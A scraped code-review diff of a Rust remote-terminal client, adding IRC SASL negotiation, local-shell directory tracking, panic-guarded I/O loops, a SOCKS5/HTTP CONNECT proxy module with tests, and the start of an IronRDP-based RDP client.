assert_eq!(client.st().channels[&fold("#ours")].users, vec!["me", "other"]);
let mut ch = Channel { name: "#big".into(), topic: String::new(), users: (0..MAX_CHANNEL_USERS).map(|n| format!("u{n}")).collect() };
add_user(&mut ch, "one-too-many");
assert_eq!(ch.users.len(), MAX_CHANNEL_USERS);
}
#[test] #[test]
fn parses_and_encodes_lines() { fn parses_and_encodes_lines() {
let m = parse_line("@time=x :nick!u@h PRIVMSG #chan :hello there").unwrap(); let m = parse_line("@time=x :nick!u@h PRIVMSG #chan :hello there").unwrap();
@@ -1109,9 +1271,9 @@ mod tests {
nick: "me".into(), nick: "me".into(),
connect_timeout: Duration::from_secs(5), connect_timeout: Duration::from_secs(5),
on_event: Arc::new(move |e| { on_event: Arc::new(move |e| {
let _ = tx.lock().unwrap().send(e); let _ = tx.lock().send(e);
}), }),
on_close: Arc::new(move || *c.lock().unwrap() += 1), on_close: Arc::new(move || *c.lock() += 1),
..cfg ..cfg
}); });
(client, listener, rx, closes) (client, listener, rx, closes)
@@ -1132,6 +1294,36 @@ mod tests {
} }
} }
#[test]
fn negotiates_server_time_and_sasl() {
let (client, listener, rx, _) = harness(Config { sasl_account: "acct".into(), sasl_password: "s3cret".into(), ..Default::default() });
let c = client.clone();
let connecting = std::thread::spawn(move || c.connect());
let mut srv = accept(&listener);
assert_eq!(srv.line(), "CAP LS 302");
assert_eq!(srv.line(), "NICK me");
assert_eq!(srv.line(), "USER me * * me");
// A two-line LS list; only the last line triggers the request.
srv.send(":srv CAP * LS * :multi-prefix server-time");
srv.send(":srv CAP * LS :sasl=PLAIN,EXTERNAL away-notify");
assert_eq!(srv.line(), "CAP REQ :server-time sasl");
srv.send(":srv CAP me ACK :server-time sasl");
assert_eq!(srv.line(), "AUTHENTICATE PLAIN");
srv.send("AUTHENTICATE +");
use base64::Engine;
assert_eq!(srv.line(), format!("AUTHENTICATE {}", base64::engine::general_purpose::STANDARD.encode("acct\0acct\0s3cret")));
srv.send(":srv 903 me :SASL authentication successful");
assert_eq!(srv.line(), "CAP END");
assert!(wait_for(&rx, |e| e.text.starts_with("SASL: logged in")).text.contains("acct"));
srv.send(":srv 001 me :Welcome");
connecting.join().unwrap().unwrap();
// server-time stamps events with the server's clock, not ours.
srv.send("@time=2024-05-01T12:00:00.250Z :bob!u@h PRIVMSG me :old news");
let e = wait_for(&rx, |e| e.kind == "message" || e.kind == "privmsg" || e.text == "old news");
assert_eq!(e.timestamp, 1714564800250);
client.close();
}
#[test] #[test]
fn registers_tracks_rooms_and_handles_input() { fn registers_tracks_rooms_and_handles_input() {
let (client, listener, rx, closes) = harness(Config { let (client, listener, rx, closes) = harness(Config {
@@ -1145,6 +1337,7 @@ mod tests {
let c = client.clone(); let c = client.clone();
let connecting = std::thread::spawn(move || c.connect()); let connecting = std::thread::spawn(move || c.connect());
let mut srv = accept(&listener); let mut srv = accept(&listener);
assert_eq!(srv.line(), "CAP LS 302");
assert_eq!(srv.line(), "PASS pw"); assert_eq!(srv.line(), "PASS pw");
assert_eq!(srv.line(), "NICK me"); assert_eq!(srv.line(), "NICK me");
assert_eq!(srv.line(), "USER me * * me"); assert_eq!(srv.line(), "USER me * * me");
@@ -1224,11 +1417,11 @@ mod tests {
client.close(); client.close();
srv.expect("QUIT :Nexus Terminal disconnected"); srv.expect("QUIT :Nexus Terminal disconnected");
let deadline = Instant::now() + Duration::from_secs(5); let deadline = Instant::now() + Duration::from_secs(5);
while *closes.lock().unwrap() == 0 && Instant::now() < deadline { while *closes.lock() == 0 && Instant::now() < deadline {
std::thread::sleep(Duration::from_millis(10)); std::thread::sleep(Duration::from_millis(10));
} }
std::thread::sleep(Duration::from_millis(100)); std::thread::sleep(Duration::from_millis(100));
assert_eq!(*closes.lock().unwrap(), 1); assert_eq!(*closes.lock(), 1);
assert!(client.handle_input("#a", "late").is_err()); assert!(client.handle_input("#a", "late").is_err());
} }
@@ -1236,7 +1429,7 @@ mod tests {
fn remote_close_reports_error_and_close() { fn remote_close_reports_error_and_close() {
let errors = Arc::new(Mutex::new(Vec::new())); let errors = Arc::new(Mutex::new(Vec::new()));
let log = errors.clone(); let log = errors.clone();
let (client, listener, rx, closes) = harness(Config { on_error: Arc::new(move |e| log.lock().unwrap().push(e)), ..Default::default() }); let (client, listener, rx, closes) = harness(Config { on_error: Arc::new(move |e| log.lock().push(e)), ..Default::default() });
let c = client.clone(); let c = client.clone();
let connecting = std::thread::spawn(move || c.connect()); let connecting = std::thread::spawn(move || c.connect());
let mut srv = accept(&listener); let mut srv = accept(&listener);
@@ -1248,8 +1441,8 @@ mod tests {
drop(srv); drop(srv);
assert_eq!(wait_for(&rx, |e| e.kind == "error").text, "connection closed by server"); assert_eq!(wait_for(&rx, |e| e.kind == "error").text, "connection closed by server");
std::thread::sleep(Duration::from_millis(100)); std::thread::sleep(Duration::from_millis(100));
assert_eq!(*errors.lock().unwrap(), vec!["connection closed by server"]); assert_eq!(*errors.lock(), vec!["connection closed by server"]);
assert_eq!(*closes.lock().unwrap(), 1); assert_eq!(*closes.lock(), 1);
} }
#[test] #[test]
@@ -1259,7 +1452,7 @@ mod tests {
let err = client.connect().unwrap_err().to_string(); let err = client.connect().unwrap_err().to_string();
assert_eq!(err, "IRC connection timed out after 300ms"); assert_eq!(err, "IRC connection timed out after 300ms");
drop(listener); drop(listener);
assert_eq!(*closes.lock().unwrap(), 0); assert_eq!(*closes.lock(), 0);
} }
#[test] #[test]
@@ -1273,7 +1466,7 @@ mod tests {
nick: "me".into(), nick: "me".into(),
connect_timeout: Duration::from_secs(5), connect_timeout: Duration::from_secs(5),
connector: Some(Arc::new(move || { connector: Some(Arc::new(move || {
*flag.lock().unwrap() = true; *flag.lock() = true;
let s = TcpStream::connect(addr)?; let s = TcpStream::connect(addr)?;
s.set_read_timeout(Some(Duration::from_millis(20)))?; s.set_read_timeout(Some(Duration::from_millis(20)))?;
Ok(Box::new(s) as Box<dyn ReadWrite>) Ok(Box::new(s) as Box<dyn ReadWrite>)
@@ -1286,7 +1479,7 @@ mod tests {
srv.expect("USER me * * me"); srv.expect("USER me * * me");
srv.send(":srv 001 me :Welcome"); srv.send(":srv 001 me :Welcome");
connecting.join().unwrap().unwrap(); connecting.join().unwrap().unwrap();
assert!(*used.lock().unwrap()); assert!(*used.lock());
client.handle_input("", "/quit gone").unwrap(); client.handle_input("", "/quit gone").unwrap();
srv.expect("QUIT gone"); srv.expect("QUIT gone");
} }
+61 -21
View File
@@ -2,10 +2,12 @@
use super::Callbacks; use super::Callbacks;
use crate::Result; use crate::Result;
use parking_lot::Mutex;
use portable_pty::{CommandBuilder, MasterPty, PtySize, native_pty_system}; use portable_pty::{CommandBuilder, MasterPty, PtySize, native_pty_system};
use std::io::{Read, Write}; use std::io::{Read, Write};
use std::path::PathBuf; use std::path::PathBuf;
use std::sync::{Arc, Mutex}; use std::sync::Arc;
use std::sync::atomic::{AtomicBool, Ordering};
pub fn default_shell() -> String { pub fn default_shell() -> String {
if cfg!(windows) { if cfg!(windows) {
@@ -26,17 +28,27 @@ pub struct LocalShell {
shell: String, shell: String,
cb: Callbacks, cb: Callbacks,
state: Mutex<(Option<Running>, PathBuf, u16, u16, bool)>, // running, cwd, cols, rows, closed state: Mutex<(Option<Running>, PathBuf, u16, u16, bool)>, // running, cwd, cols, rows, closed
/// A line was entered since the last cwd lookup. On macOS the lookup shells out to lsof, too
/// slow for the write path, so it runs off-thread once the shell next prints something.
cwd_stale: AtomicBool,
capturing: AtomicBool,
} }
impl LocalShell { impl LocalShell {
pub fn new(shell: &str, start_dir: Option<PathBuf>, cols: u16, rows: u16, cb: Callbacks) -> Arc<LocalShell> { pub fn new(shell: &str, start_dir: Option<PathBuf>, cols: u16, rows: u16, cb: Callbacks) -> Arc<LocalShell> {
let shell = if shell.is_empty() { default_shell() } else { shell.to_string() }; let shell = if shell.is_empty() { default_shell() } else { shell.to_string() };
let dir = start_dir.filter(|d| d.is_dir()).or_else(home_dir).unwrap_or_else(|| PathBuf::from("/")); let dir = start_dir.filter(|d| d.is_dir()).or_else(home_dir).unwrap_or_else(|| PathBuf::from("/"));
Arc::new(LocalShell { shell, cb, state: Mutex::new((None, dir, cols.max(1), rows.max(1), false)) }) Arc::new(LocalShell {
shell,
cb,
state: Mutex::new((None, dir, cols.max(1), rows.max(1), false)),
cwd_stale: Default::default(),
capturing: Default::default(),
})
} }
pub fn start(self: &Arc<Self>) -> Result<()> { pub fn start(self: &Arc<Self>) -> Result<()> {
let mut st = self.state.lock().unwrap(); let mut st = self.state.lock();
if st.4 { if st.4 {
return Err("shell already closed".into()); return Err("shell already closed".into());
} }
@@ -64,20 +76,26 @@ impl LocalShell {
drop(st); drop(st);
let me = self.clone(); let me = self.clone();
std::thread::Builder::new().name("nexus-local-read".into()).spawn(move || { let (on_error, on_close) = (self.cb.on_error.clone(), self.cb.on_close.clone());
std::thread::Builder::new().name("nexus-local-read".into()).spawn(super::guarded(on_error, on_close, move || {
let mut buf = vec![0u8; 32 * 1024]; let mut buf = vec![0u8; 32 * 1024];
loop { loop {
match reader.read(&mut buf) { match reader.read(&mut buf) {
Ok(0) | Err(_) => break, Ok(0) | Err(_) => break,
Ok(n) => (me.cb.on_data)(&buf[..n]), Ok(n) => {
(me.cb.on_data)(&buf[..n]);
if me.cwd_stale.swap(false, Ordering::SeqCst) {
me.capture_cwd_in_background();
}
}
} }
} }
})?; }))?;
let me = self.clone(); let me = self.clone();
std::thread::Builder::new().name("nexus-local-wait".into()).spawn(move || { std::thread::Builder::new().name("nexus-local-wait".into()).spawn(move || {
let _ = child.wait(); let _ = child.wait();
let was_closed = { let was_closed = {
let mut st = me.state.lock().unwrap(); let mut st = me.state.lock();
let was = st.4; let was = st.4;
st.4 = true; st.4 = true;
st.0 = None; st.0 = None;
@@ -94,14 +112,14 @@ impl LocalShell {
if data.iter().any(|b| matches!(b, b'\r' | b'\n' | 4)) { if data.iter().any(|b| matches!(b, b'\r' | b'\n' | 4)) {
self.capture_cwd(); self.capture_cwd();
} }
let mut st = self.state.lock().unwrap(); let mut st = self.state.lock();
let r = st.0.as_mut().ok_or("shell not running")?; let r = st.0.as_mut().ok_or("shell not running")?;
r.writer.write_all(data)?; r.writer.write_all(data)?;
Ok(()) Ok(())
} }
pub fn resize(&self, cols: u16, rows: u16) -> Result<()> { pub fn resize(&self, cols: u16, rows: u16) -> Result<()> {
let mut st = self.state.lock().unwrap(); let mut st = self.state.lock();
if cols > 0 { if cols > 0 {
st.2 = cols; st.2 = cols;
} }
@@ -117,7 +135,7 @@ impl LocalShell {
/// Idempotent; does not fire on_close (matches Go: an explicit close is not an exit). /// Idempotent; does not fire on_close (matches Go: an explicit close is not an exit).
pub fn close(&self) { pub fn close(&self) {
let mut st = self.state.lock().unwrap(); let mut st = self.state.lock();
if st.4 { if st.4 {
return; return;
} }
@@ -129,14 +147,39 @@ impl LocalShell {
/// The last directory the shell was seen in (used to restart in the same place). /// The last directory the shell was seen in (used to restart in the same place).
pub fn working_directory(&self) -> PathBuf { pub fn working_directory(&self) -> PathBuf {
self.state.lock().unwrap().1.clone() // On Linux the live directory is a cheap readlink; elsewhere the last capture.
if cfg!(target_os = "linux")
&& let Some(dir) = self.state.lock().0.as_ref().and_then(|r| r.pid).and_then(process_cwd).filter(|d| d.is_dir())
{
return dir;
}
self.state.lock().1.clone()
} }
fn capture_cwd(&self) { fn capture_cwd(&self) {
let pid = self.state.lock().unwrap().0.as_ref().and_then(|r| r.pid); if cfg!(target_os = "macos") {
if let Some(dir) = pid.and_then(process_cwd).filter(|d| d.is_dir()) { self.cwd_stale.store(true, Ordering::SeqCst);
self.state.lock().unwrap().1 = dir; return;
} }
let pid = self.state.lock().0.as_ref().and_then(|r| r.pid);
if let Some(dir) = pid.and_then(process_cwd).filter(|d| d.is_dir()) {
self.state.lock().1 = dir;
}
}
fn capture_cwd_in_background(self: &Arc<Self>) {
let Some(pid) = self.state.lock().0.as_ref().and_then(|r| r.pid) else { return };
if self.capturing.swap(true, Ordering::SeqCst) {
return;
}
let me = self.clone();
std::thread::spawn(move || {
// A failed lookup (the shell already exited) keeps the last known directory.
if let Some(dir) = process_cwd(pid).filter(|d| d.is_dir()) {
me.state.lock().1 = dir;
}
me.capturing.store(false, Ordering::SeqCst);
});
} }
} }
@@ -165,22 +208,19 @@ mod tests {
let seen: Arc<Mutex<Vec<u8>>> = Arc::default(); let seen: Arc<Mutex<Vec<u8>>> = Arc::default();
let closed = Arc::new(Mutex::new(0)); let closed = Arc::new(Mutex::new(0));
let (s2, c2) = (seen.clone(), closed.clone()); let (s2, c2) = (seen.clone(), closed.clone());
let cb = Callbacks { let cb =
on_data: Arc::new(move |d| s2.lock().unwrap().extend_from_slice(d)), Callbacks { on_data: Arc::new(move |d| s2.lock().extend_from_slice(d)), on_error: Arc::new(|_| {}), on_close: Arc::new(move || *c2.lock() += 1) };
on_error: Arc::new(|_| {}),
on_close: Arc::new(move || *c2.lock().unwrap() += 1),
};
let sh = LocalShell::new("/bin/sh", Some("/tmp".into()), 80, 24, cb); let sh = LocalShell::new("/bin/sh", Some("/tmp".into()), 80, 24, cb);
sh.start().unwrap(); sh.start().unwrap();
sh.write(b"cd / && echo local-$((2*21))\n").unwrap(); sh.write(b"cd / && echo local-$((2*21))\n").unwrap();
let t = Instant::now(); let t = Instant::now();
while !String::from_utf8_lossy(&seen.lock().unwrap()).contains("local-42") { while !String::from_utf8_lossy(&seen.lock()).contains("local-42") {
assert!(t.elapsed() < Duration::from_secs(5)); assert!(t.elapsed() < Duration::from_secs(5));
std::thread::sleep(Duration::from_millis(20)); std::thread::sleep(Duration::from_millis(20));
} }
sh.resize(100, 30).unwrap(); sh.resize(100, 30).unwrap();
sh.write(b"exit\n").unwrap(); sh.write(b"exit\n").unwrap();
while *closed.lock().unwrap() == 0 { while *closed.lock() == 0 {
assert!(t.elapsed() < Duration::from_secs(5)); assert!(t.elapsed() < Duration::from_secs(5));
std::thread::sleep(Duration::from_millis(20)); std::thread::sleep(Duration::from_millis(20));
} }
+73 -8
View File
@@ -37,11 +37,46 @@ impl Callbacks {
} }
} }
pub mod proxy;
pub mod raw; pub mod raw;
pub mod rdp;
pub mod rdp_devices;
pub mod serial; pub mod serial;
pub mod telnet; pub mod telnet;
pub mod vnc; pub mod vnc;
/// Wraps a client's I/O loop so a panic in it (a decoder bug, say) ends only that session —
/// reported through `on_error`, then `on_close` — instead of leaving it looking connected with
/// nothing reading.
pub(crate) fn guarded(on_error: ErrorFn, on_close: CloseFn, f: impl FnOnce() + Send + 'static) -> impl FnOnce() + Send + 'static {
move || {
if let Err(p) = std::panic::catch_unwind(std::panic::AssertUnwindSafe(f)) {
on_error(format!("internal error: {}", panic_message(&*p)));
on_close();
}
}
}
/// `guarded` for a tokio task: the panic surfaces when the task's handle is awaited.
pub(crate) fn guarded_task<F>(on_error: ErrorFn, on_close: CloseFn, fut: F)
where
F: std::future::Future<Output = ()> + Send + 'static,
{
let h = tokio::spawn(fut);
tokio::spawn(async move {
if let Err(e) = h.await
&& e.is_panic()
{
on_error(format!("internal error: {}", panic_message(&*e.into_panic())));
on_close();
}
});
}
pub(crate) fn panic_message(p: &(dyn std::any::Any + Send)) -> String {
p.downcast_ref::<&str>().map(|s| s.to_string()).or_else(|| p.downcast_ref::<String>().cloned()).unwrap_or_else(|| "unknown panic".into())
}
/// Called with protocol negotiation debug messages (Go's `onDebug`). /// Called with protocol negotiation debug messages (Go's `onDebug`).
pub type DebugFn = Arc<dyn Fn(String) + Send + Sync>; pub type DebugFn = Arc<dyn Fn(String) + Send + Sync>;
@@ -69,27 +104,27 @@ pub(crate) fn dial(host: &str, port: i64, timeout_secs: i64) -> (String, std::io
/// a lock, a reader thread that feeds `on_read`, and Go's error/close semantics (a read error or EOF /// a lock, a reader thread that feeds `on_read`, and Go's error/close semantics (a read error or EOF
/// reports `read error: …` then closes; `close` is idempotent and fires `on_close` once). /// reports `read error: …` then closes; `close` is idempotent and fires `on_close` once).
pub(crate) struct TcpConn { pub(crate) struct TcpConn {
stream: std::sync::Mutex<Option<std::net::TcpStream>>, stream: parking_lot::Mutex<Option<std::net::TcpStream>>,
on_error: ErrorFn, on_error: ErrorFn,
on_close: CloseFn, on_close: CloseFn,
} }
impl TcpConn { impl TcpConn {
pub(crate) fn new(on_error: ErrorFn, on_close: CloseFn) -> TcpConn { pub(crate) fn new(on_error: ErrorFn, on_close: CloseFn) -> TcpConn {
TcpConn { stream: std::sync::Mutex::new(None), on_error, on_close } TcpConn { stream: parking_lot::Mutex::new(None), on_error, on_close }
} }
pub(crate) fn connect(self: &Arc<Self>, stream: std::net::TcpStream, mut on_read: impl FnMut(&[u8]) + Send + 'static) -> crate::Result<()> { pub(crate) fn connect(self: &Arc<Self>, stream: std::net::TcpStream, mut on_read: impl FnMut(&[u8]) + Send + 'static) -> crate::Result<()> {
let mut reader = stream.try_clone()?; let mut reader = stream.try_clone()?;
{ {
let mut guard = self.stream.lock().unwrap(); let mut guard = self.stream.lock();
if guard.is_some() { if guard.is_some() {
return Err("already connected".into()); return Err("already connected".into());
} }
*guard = Some(stream); *guard = Some(stream);
} }
let me = self.clone(); let me = self.clone();
std::thread::spawn(move || { std::thread::spawn(guarded(self.on_error.clone(), self.on_close.clone(), move || {
use std::io::Read; use std::io::Read;
let mut buf = [0u8; 4096]; let mut buf = [0u8; 4096];
loop { loop {
@@ -109,24 +144,24 @@ impl TcpConn {
} }
return; return;
} }
}); }));
Ok(()) Ok(())
} }
pub(crate) fn write(&self, data: &[u8]) -> crate::Result<()> { pub(crate) fn write(&self, data: &[u8]) -> crate::Result<()> {
use std::io::Write; use std::io::Write;
let guard = self.stream.lock().unwrap(); let guard = self.stream.lock();
let mut s = guard.as_ref().ok_or("not connected")?; let mut s = guard.as_ref().ok_or("not connected")?;
s.write_all(data)?; s.write_all(data)?;
Ok(()) Ok(())
} }
pub(crate) fn is_connected(&self) -> bool { pub(crate) fn is_connected(&self) -> bool {
self.stream.lock().unwrap().is_some() self.stream.lock().is_some()
} }
pub(crate) fn close(&self) { pub(crate) fn close(&self) {
let taken = self.stream.lock().unwrap().take(); let taken = self.stream.lock().take();
if let Some(s) = taken { if let Some(s) = taken {
let _ = s.shutdown(std::net::Shutdown::Both); let _ = s.shutdown(std::net::Shutdown::Both);
(self.on_close)(); (self.on_close)();
@@ -149,3 +184,33 @@ pub(crate) fn utf8_to_latin1(data: &[u8]) -> Vec<u8> {
pub(crate) fn latin1_to_utf8(data: &[u8]) -> String { pub(crate) fn latin1_to_utf8(data: &[u8]) -> String {
data.iter().map(|&b| b as char).collect() data.iter().map(|&b| b as char).collect()
} }
#[cfg(test)]
mod guard_tests {
use super::*;
use parking_lot::Mutex;
#[test]
fn a_panicking_io_loop_reports_and_closes_once() {
let log: Arc<Mutex<Vec<String>>> = Arc::default();
let (l1, l2) = (log.clone(), log.clone());
let on_error: ErrorFn = Arc::new(move |e| l1.lock().push(e));
let on_close: CloseFn = Arc::new(move || l2.lock().push("closed".into()));
std::thread::spawn(guarded(on_error.clone(), on_close.clone(), || panic!("bad tile"))).join().unwrap();
assert_eq!(*log.lock(), ["internal error: bad tile", "closed"]);
// A loop that ends normally is left to report its own close.
std::thread::spawn(guarded(on_error.clone(), on_close.clone(), || {})).join().unwrap();
assert_eq!(log.lock().len(), 2);
let rt = tokio::runtime::Runtime::new().unwrap();
rt.block_on(async {
guarded_task(on_error, on_close, async { panic!("{}", "task boom") });
for _ in 0..50 {
if log.lock().len() == 4 {
break;
}
tokio::time::sleep(std::time::Duration::from_millis(10)).await;
}
});
assert_eq!(log.lock()[2..], ["internal error: task boom", "closed"]);
}
}
+224
View File
@@ -0,0 +1,224 @@
//! Outbound proxies (SOCKS5, HTTP CONNECT) for the clients that dial TCP themselves: SSH and RDP.
//! Blocking; async callers run it on a blocking thread.
use crate::Result;
use base64::Engine;
use std::io::{Read, Write};
use std::net::TcpStream;
use std::time::Duration;
#[derive(Clone, Debug, Default, PartialEq)]
pub struct Proxy {
/// "socks5" or "http"; anything else (including "none" and "") dials directly.
pub kind: String,
pub host: String,
pub port: u16,
pub username: String,
pub password: String,
}
impl Proxy {
pub fn is_direct(&self) -> bool {
!matches!(self.kind.to_lowercase().as_str(), "socks5" | "http")
}
/// A TCP stream to `host:port`, through the proxy when one is configured.
pub fn connect(&self, host: &str, port: u16, timeout: Duration) -> Result<TcpStream> {
match self.kind.to_lowercase().as_str() {
"socks5" => self.socks5(host, port, timeout),
"http" => self.http(host, port, timeout),
_ => tcp(host, port, timeout).map_err(|e| format!("dial tcp {host}:{port}: {e}").into()),
}
}
fn open(&self, default_port: u16, what: &str, timeout: Duration) -> Result<TcpStream> {
let port = if self.port == 0 { default_port } else { self.port };
let s = tcp(&self.host, port, timeout).map_err(|e| format!("{what} proxy connection failed: {e}"))?;
// The handshake must not hang on a silent proxy either.
s.set_read_timeout(Some(timeout))?;
Ok(s)
}
fn socks5(&self, host: &str, port: u16, timeout: Duration) -> Result<TcpStream> {
let mut s = self.open(1080, "SOCKS5", timeout)?;
let auth = !self.username.is_empty();
s.write_all(if auth { &[5, 2, 0, 2] } else { &[5, 1, 0] })?;
let mut r = [0u8; 2];
s.read_exact(&mut r)?;
match r[1] {
0 => {}
2 if auth => {
s.write_all(&socks5_auth_request(&self.username, &self.password)?)?;
s.read_exact(&mut r)?;
if r[1] != 0 {
return Err("SOCKS5 proxy: authentication failed".into());
}
}
_ => return Err("SOCKS5 proxy: no acceptable authentication method".into()),
}
s.write_all(&socks5_connect_request(host, port)?)?;
let mut head = [0u8; 4];
s.read_exact(&mut head)?;
if head[1] != 0 {
return Err(format!("SOCKS5 proxy connection to {host}:{port} failed: reply code {}", head[1]).into());
}
let addr_len = match head[3] {
1 => 4,
4 => 16,
3 => {
let mut n = [0u8; 1];
s.read_exact(&mut n)?;
n[0] as usize
}
_ => 0,
};
let mut rest = vec![0u8; addr_len + 2];
s.read_exact(&mut rest)?;
s.set_read_timeout(None)?;
Ok(s)
}
fn http(&self, host: &str, port: u16, timeout: Duration) -> Result<TcpStream> {
let mut s = self.open(8080, "HTTP", timeout)?;
let mut req = format!("CONNECT {host}:{port} HTTP/1.1\r\nHost: {host}:{port}\r\n");
if !self.username.is_empty() {
let cred = base64::engine::general_purpose::STANDARD.encode(format!("{}:{}", self.username, self.password));
req += &format!("Proxy-Authorization: Basic {cred}\r\n");
}
req += "\r\n";
s.write_all(req.as_bytes())?;
// Read the response head byte by byte so no tunnelled bytes are consumed.
let mut head = Vec::new();
let mut b = [0u8; 1];
while !head.ends_with(b"\r\n\r\n") {
s.read_exact(&mut b).map_err(|e| format!("HTTP CONNECT response read failed: {e}"))?;
head.push(b[0]);
if head.len() > 16 * 1024 {
return Err("HTTP CONNECT response too large".into());
}
}
let status = String::from_utf8_lossy(&head).lines().next().unwrap_or("").to_string();
if status.split_whitespace().nth(1) != Some("200") {
return Err(format!("HTTP CONNECT proxy returned {status}").into());
}
s.set_read_timeout(None)?;
Ok(s)
}
}
fn tcp(host: &str, port: u16, timeout: Duration) -> std::io::Result<TcpStream> {
use std::net::ToSocketAddrs;
let mut last = std::io::Error::new(std::io::ErrorKind::NotFound, "no addresses found");
for sa in (host, port).to_socket_addrs()? {
match TcpStream::connect_timeout(&sa, timeout) {
Ok(s) => return Ok(s),
Err(e) => last = e,
}
}
Err(last)
}
/// RFC 1929 username/password sub-negotiation. Both fields carry a one-byte length, so longer
/// values are rejected rather than silently truncated into a malformed request.
fn socks5_auth_request(user: &str, pass: &str) -> Result<Vec<u8>> {
let ulen = u8::try_from(user.len()).map_err(|_| "SOCKS5 proxy: username longer than 255 bytes")?;
let plen = u8::try_from(pass.len()).map_err(|_| "SOCKS5 proxy: password longer than 255 bytes")?;
let mut m = vec![1, ulen];
m.extend(user.as_bytes());
m.push(plen);
m.extend(pass.as_bytes());
Ok(m)
}
/// RFC 1928 CONNECT with a domain-name address (one-byte length).
fn socks5_connect_request(host: &str, port: u16) -> Result<Vec<u8>> {
let hlen = u8::try_from(host.len()).map_err(|_| "SOCKS5 proxy: host name longer than 255 bytes")?;
let mut req = vec![5, 1, 0, 3, hlen];
req.extend(host.as_bytes());
req.extend(port.to_be_bytes());
Ok(req)
}
#[cfg(test)]
mod tests {
use super::*;
use std::net::TcpListener;
#[test]
fn socks5_encoding() {
assert_eq!(socks5_connect_request("example.com", 22).unwrap(), [&[5u8, 1, 0, 3, 11][..], b"example.com", &[0, 22]].concat());
assert!(socks5_connect_request(&"h".repeat(256), 22).is_err());
assert_eq!(socks5_auth_request("u", "pw").unwrap(), [1, 1, b'u', 2, b'p', b'w']);
assert!(socks5_auth_request(&"u".repeat(256), "").is_err());
}
/// A one-shot proxy that checks the handshake, then echoes.
fn fake_proxy(handshake: impl FnOnce(&mut TcpStream) + Send + 'static) -> u16 {
let l = TcpListener::bind("127.0.0.1:0").unwrap();
let port = l.local_addr().unwrap().port();
std::thread::spawn(move || {
let (mut s, _) = l.accept().unwrap();
handshake(&mut s);
let mut buf = [0u8; 4];
s.read_exact(&mut buf).unwrap();
s.write_all(&buf).unwrap();
});
port
}
fn echo_through(p: &Proxy) {
let mut s = p.connect("target.example", 3389, Duration::from_secs(5)).unwrap();
s.write_all(b"ping").unwrap();
let mut buf = [0u8; 4];
s.read_exact(&mut buf).unwrap();
assert_eq!(&buf, b"ping");
}
#[test]
fn socks5_with_auth_reaches_the_target() {
let port = fake_proxy(|s| {
let mut b = [0u8; 4];
s.read_exact(&mut b).unwrap();
assert_eq!(b, [5, 2, 0, 2]);
s.write_all(&[5, 2]).unwrap();
let mut auth = [0u8; 7];
s.read_exact(&mut auth).unwrap();
assert_eq!(auth, [1, 1, b'u', 3, b'p', b'w', b'd']);
s.write_all(&[1, 0]).unwrap();
let mut req = vec![0u8; 5 + 14 + 2];
s.read_exact(&mut req).unwrap();
assert_eq!(&req[5..19], b"target.example");
assert_eq!(&req[19..], &3389u16.to_be_bytes());
s.write_all(&[5, 0, 0, 1, 127, 0, 0, 1, 0, 0]).unwrap();
});
echo_through(&Proxy { kind: "socks5".into(), host: "127.0.0.1".into(), port, username: "u".into(), password: "pwd".into() });
}
#[test]
fn http_connect_sends_basic_auth_and_needs_200() {
let port = fake_proxy(|s| {
let mut head = Vec::new();
let mut b = [0u8; 1];
while !head.ends_with(b"\r\n\r\n") {
s.read_exact(&mut b).unwrap();
head.push(b[0]);
}
let head = String::from_utf8(head).unwrap();
assert!(head.starts_with("CONNECT target.example:3389 HTTP/1.1\r\n"), "{head}");
assert!(head.contains("Proxy-Authorization: Basic dTpwd2Q=\r\n"), "{head}");
s.write_all(b"HTTP/1.1 200 Connection established\r\n\r\n").unwrap();
});
echo_through(&Proxy { kind: "http".into(), host: "127.0.0.1".into(), port, username: "u".into(), password: "pwd".into() });
let l = TcpListener::bind("127.0.0.1:0").unwrap();
let port = l.local_addr().unwrap().port();
std::thread::spawn(move || {
let (mut s, _) = l.accept().unwrap();
let mut buf = [0u8; 256];
let _ = s.read(&mut buf);
s.write_all(b"HTTP/1.1 407 Proxy Authentication Required\r\n\r\n").unwrap();
});
let err = Proxy { kind: "http".into(), host: "127.0.0.1".into(), port, ..Default::default() }.connect("t", 1, Duration::from_secs(5)).unwrap_err();
assert!(err.to_string().contains("407"), "{err}");
}
}
+5 -4
View File
@@ -2,8 +2,9 @@
//! of sent ("send") and received ("recv") frames, JSON capture, and the hex/escape encoders the //! of sent ("send") and received ("recv") frames, JSON capture, and the hex/escape encoders the
//! RAW view reuses. //! RAW view reuses.
use parking_lot::Mutex;
use std::collections::VecDeque; use std::collections::VecDeque;
use std::sync::{Arc, Mutex}; use std::sync::Arc;
use base64::Engine; use base64::Engine;
use serde::Serialize; use serde::Serialize;
@@ -115,11 +116,11 @@ impl RawClient {
} }
pub fn history(&self) -> Vec<HistoryEntry> { pub fn history(&self) -> Vec<HistoryEntry> {
self.inner.history.lock().unwrap().entries.iter().cloned().collect() self.inner.history.lock().entries.iter().cloned().collect()
} }
pub fn clear_history(&self) { pub fn clear_history(&self) {
*self.inner.history.lock().unwrap() = History::default(); *self.inner.history.lock() = History::default();
} }
/// Writes the history to `path` as indented JSON (mode 0600 on Unix), as Go did. /// Writes the history to `path` as indented JSON (mode 0600 on Unix), as Go did.
@@ -146,7 +147,7 @@ impl Inner {
if entry.data.len() > MAX_HISTORY_BYTES { if entry.data.len() > MAX_HISTORY_BYTES {
entry.data.drain(..entry.data.len() - MAX_HISTORY_BYTES); entry.data.drain(..entry.data.len() - MAX_HISTORY_BYTES);
} }
let mut h = self.history.lock().unwrap(); let mut h = self.history.lock();
h.bytes += entry.data.len(); h.bytes += entry.data.len();
h.entries.push_back(entry); h.entries.push_back(entry);
while h.entries.len() > MAX_HISTORY_ENTRIES || h.bytes > MAX_HISTORY_BYTES { while h.entries.len() > MAX_HISTORY_ENTRIES || h.bytes > MAX_HISTORY_BYTES {
+736
View File
@@ -0,0 +1,736 @@
//! RDP client on IronRDP: TLS with NLA (CredSSP), the server certificate pinned through the
//! caller's host-key check, any transport the caller dials (direct, SOCKS5/HTTP proxy or an SSH
//! tunnel), and the desktop decoded into the same RGBA framebuffer the VNC client uses. Like the
//! other clients, `connect` blocks and the session runs on its own thread.
use super::vnc::{ClipboardFn, FrameFn, Framebuffer};
use super::{CloseFn, ErrorFn};
use crate::Result;
use ironrdp::cliprdr::CliprdrClient;
use ironrdp::cliprdr::backend::{ClipboardMessage, CliprdrBackend};
use ironrdp::cliprdr::pdu::{
ClipboardFormat, ClipboardFormatId, ClipboardGeneralCapabilityFlags, FileContentsRequest, FileContentsResponse, FormatDataRequest, FormatDataResponse,
LockDataId,
};
use ironrdp::connector::connection_activation::ConnectionActivationState;
